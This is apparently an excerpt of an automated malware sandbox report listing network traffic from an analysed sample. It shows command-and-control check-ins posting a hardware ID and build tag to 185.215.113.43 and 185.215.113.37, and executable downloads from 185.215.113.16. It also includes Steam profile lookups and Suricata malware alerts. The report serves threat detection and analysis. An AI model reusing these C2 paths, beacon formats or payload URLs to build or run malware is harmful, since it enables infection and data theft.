r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="build"doma------CAKKEGDGCGDAKEBFIJEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="build"doma------HIIDGCGCBFBAKFHIJDBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="build"doma------JDGIECGIEBKJJJJKEGHJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHCGHJDBFIIDGDHIJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 2d 2d 0d 0a Data Ascii: ------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="build"doma------ECFHCGHJDBFIIDGDHIJD--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49725 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49717 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49728 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49735 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49740 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49740 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49751 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
